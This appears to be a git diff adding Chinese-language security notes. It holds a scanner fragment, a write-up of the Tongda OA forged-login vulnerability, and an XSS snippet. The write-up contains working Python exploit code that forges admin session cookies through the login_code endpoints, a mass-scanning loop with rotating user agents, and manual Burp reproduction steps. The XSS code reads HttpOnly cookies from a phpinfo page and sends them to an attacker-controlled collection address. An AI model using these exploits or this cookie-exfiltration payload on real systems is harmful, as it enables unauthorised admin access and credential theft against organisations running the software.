|
||||
|
||||
queue.put(url)
|
||||
|
||||
def main():
|
||||
|
||||
pool = Pool(10)
|
||||
|
||||
queue = Manager().Queue()
|
||||
|
||||
fr = open('url.txt', 'r')
|
||||
|
||||
lines = fr.readlines()
|
||||
|
||||
for i in lines:
|
||||
|
||||
url = remove_control_chars(i)
|
||||
|
||||
pool.apply_async(savePeopleInformation, args=(url, queue,))
|
||||
|
||||
allnum = len(lines)
|
||||
|
||||
num = 0
|
||||
|
||||
while True:
|
||||
|
||||
print(queue.get())
|
||||
|
||||
num += 1
|
||||
|
||||
if num >= allnum:
|
||||
|
||||
fr.close()
|
||||
|
||||
break
|
||||
|
||||
if "__main__" == __name__:
|
||||
|
||||
main()
|
||||
```
|
||||
|
||||
@@ -0,0 +1,158 @@
|
||||
**背景**
|
||||
通达OA是一套办公系统。2020年04月17日, 通达OA官方在更新了一个v11版本安全补丁, 其中修复了一个任意用户伪造登录漏洞。
|
||||
**漏洞概述**
|
||||
该漏洞类型为任意用户伪造,未经授权的远程攻击者可以通过精心构造的请求包进行任意用户伪造登录。
|
||||
**影响版本**
|
||||
通达OA < 11.5.200417版本
|
||||
**修复方式**
|
||||
及时更新11.5版本
|
||||
|
||||
遵守网络安全法,仅给出核心脚本:
|
||||
|
||||
```python
|
||||
def http_request(url,session_id):
|
||||
try:
|
||||
#print(1111111111)
|
||||
payload = r'/general/index.php?isIE=0&modify_pwd=0'
|
||||
print("Trying:" + url + ' ' + '[' + str(left) + '/' + str(countLines) + ']')
|
||||
#vulurl = url + payload
|
||||
#print(vulurl)
|
||||
headers={
|
||||
'Accept':'*/*',
|
||||
'Accept-Language':'en',
|
||||
'User-Agent':'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)',
|
||||
'Cookie':session_id
|
||||
}
|
||||
#print(headers)
|
||||
if int(url.split(':')[1].strip('/')) == 443:
|
||||
url = "https://" + url.split(':')[0]
|
||||
else:
|
||||
url = "http://" + url.split(':')[0] + ":" + url.split(':')[1]
|
||||
vulurl = url + payload
|
||||
print(vulurl)
|
||||
r = requests.get(url=vulurl, headers=headers, timeout=10, verify= False)
|
||||
if r.status_code == 200 and 'user_id' in r.text:
|
||||
print(colored("[******]" + 'Good Found!' + '\n' + url,"green"))
|
||||
#printGreen("[+]" + url)
|
||||
#print(r.text)
|
||||
with open(path_out,'a') as f:
|
||||
f.write(vulurl + ' ' + session_id + '\n')
|
||||
check = 1
|
||||
return check
|
||||
else:
|
||||
print("[-]" + "r.status_code:" + str(r.status_code) + "," + "raise.text:" + r.text)
|
||||
except Exception as err:
|
||||
print(err)
|
||||
```
|
||||
|
||||
```python
|
||||
USER_AGENTS = [
|
||||
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
|
||||
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)",
|
||||
"Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
|
||||
"Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)",
|
||||
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)",
|
||||
"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)",
|
||||
"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)",
|
||||
"Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)",
|
||||
"Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6",
|
||||
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1",
|
||||
"Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0",
|
||||
"Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5",
|
||||
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20",
|
||||
"Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71 Safari/537.1 LBBROWSER",
|
||||
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; LBBROWSER)",
|
||||
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E; LBBROWSER)",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 LBBROWSER",
|
||||
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
|
||||
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)",
|
||||
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
|
||||
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; QQDownload 732; .NET4.0C; .NET4.0E; 360SE)",
|
||||
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
|
||||
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
|
||||
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
|
||||
"Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5",
|
||||
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b13pre) Gecko/20110307 Firefox/4.0b13pre",
|
||||
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:16.0) Gecko/20100101 Firefox/16.0",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11",
|
||||
"Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10"
|
||||
]
|
||||
|
||||
headers={}
|
||||
|
||||
def getV11Session(url):
|
||||
checkUrl = url+'/general/login_code.php'
|
||||
try:
|
||||
headers["User-Agent"] = choice(USER_AGENTS)
|
||||
res = requests.get(checkUrl,headers=headers)
|
||||
resText = str(res.text).split('{')
|
||||
codeUid = resText[-1].replace('}"}', '').replace('\r\n', '')
|
||||
getSessUrl = url+'/logincheck_code.php'
|
||||
res = requests.post(
|
||||
getSessUrl, data={'CODEUID': '{'+codeUid+'}', 'UID': int(1)},headers=headers)
|
||||
print('[+]Get Available COOKIE:'+res.headers['Set-Cookie'])
|
||||
return res.headers['Set-Cookie']
|
||||
except:
|
||||
print('[-]Something Wrong With '+url)
|
||||
|
||||
|
||||
|
||||
def get2017Session(url):
|
||||
checkUrl = url+'/ispirit/login_code.php'
|
||||
try:
|
||||
headers["User-Agent"] = choice(USER_AGENTS)
|
||||
res = requests.get(checkUrl,headers=headers)
|
||||
resText = json.loads(res.text)
|
||||
codeUid = resText['codeuid']
|
||||
codeScanUrl = url+'/general/login_code_scan.php'
|
||||
res = requests.post(codeScanUrl, data={'codeuid': codeUid, 'uid': int(
|
||||
1), 'source': 'pc', 'type': 'confirm', 'username': 'admin'},headers=headers)
|
||||
resText = json.loads(res.text)
|
||||
status = resText['status']
|
||||
if status == str(1):
|
||||
getCodeUidUrl = url+'/ispirit/login_code_check.php?codeuid='+codeUid
|
||||
res = requests.get(getCodeUidUrl)
|
||||
print('[+]Get Available COOKIE:'+res.headers['Set-Cookie'])
|
||||
return res.headers['Set-Cookie']
|
||||
else:
|
||||
print('[-]Something Wrong With '+url)
|
||||
except:
|
||||
print('[-]Something Wrong With '+url)
|
||||
|
||||
def get_session_lists(url):
|
||||
#url = args.targeturl
|
||||
session_list = []
|
||||
choices=[11, 2017]
|
||||
if 'http://' not in url:
|
||||
url = 'http://' + url
|
||||
for version in choices:
|
||||
if version == 11:
|
||||
#getV11Session(url)
|
||||
session_list.append(getV11Session(url))
|
||||
elif version == 2017:
|
||||
#get2017Session(url)
|
||||
session_list.append(get2017Session(url))
|
||||
print(session_list)
|
||||
return session_list
|
||||
```
|
||||
|
||||
说下这个漏洞的坑有哪些:
|
||||
1、这个漏洞不是单纯的get即可,是需要发起请求出发漏洞获取到可用的SESSIONID,然后替换浏览器Cookie中的SESSIONID才可实现登录为admin;
|
||||
2、SESSIONID根据通达OA版本不同而不同使用,目前影响版本有通达OA2017、V11.X<V11.5,但根据我实测的结果,貌似使用同一个版本的SESSIONID都可以触发漏洞,疑似漏洞对版本向下兼容,这个有懂的可以说下;
|
||||
3、甲方企业内部自查尽量是采用多线程,配合资产管理系统使用最佳;
|
||||
|
||||
手动复现细节部分(burpsuite的repeater):
|
||||
|
||||
需要替换三处:
|
||||
1.地址替换为/general/index.php
|
||||
2.我们通过poc获取的PHPSESSID
|
||||
3.把下面不管是什么 encode_type=1 后面的都替换成UID=1 (如图高亮部分)
|
||||

|
||||
然后我们send过去:
|
||||

|
||||
POC:https://github.com/NS-Sp4ce/TongDaOA-Fake-User
|
||||
@@ -0,0 +1,36 @@
|
||||
### `XSS`代码
|
||||
|
||||
```javascript
|
||||
<script>
|
||||
function createXmlHttp() {
|
||||
if (window.XMLHttpRequest) {
|
||||
xmlHttp = new XMLHttpRequest();
|
||||
} else {
|
||||
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
|
||||
}
|
||||
}
|
||||
function getS() {
|
||||
var Url = 'PHPinfo的地址';
|
||||
createXmlHttp();
|
||||
xmlHttp.onreadystatechange = writeS;
|
||||
xmlHttp.open("GET", Url, true);
|
||||
xmlHttp.send(null);
|
||||
}
|
||||
function writeS() {
|
||||
if (xmlHttp.readyState == 4) {
|
||||
var x = xmlHttp.responseText.match(/HTTP_COOKIE.+?<\/td><td.+?>([\w\W]+?)<\/td>/);
|
||||
if (x){
|
||||
var url = "自己收取cookie的地址" + x[1]; //x 为带httponly cookie的所有cookie
|
||||
createXmlHttp();
|
||||
xmlHttp.open("GET", url, true);
|
||||
xmlHttp.send(null);
|
||||
}
|
||||
}
|
||||
}
|
||||
getS();
|
||||
</script>
|
||||
```
|
||||
|
||||
来源:https://www.t00ls.net/thread-55915-1-1.html https://www.t00ls.net/thread-55912-1-1.html
|
||||
|
||||
仅作笔记.禁止滥用.
|
||||
Reference in new issue
Block a user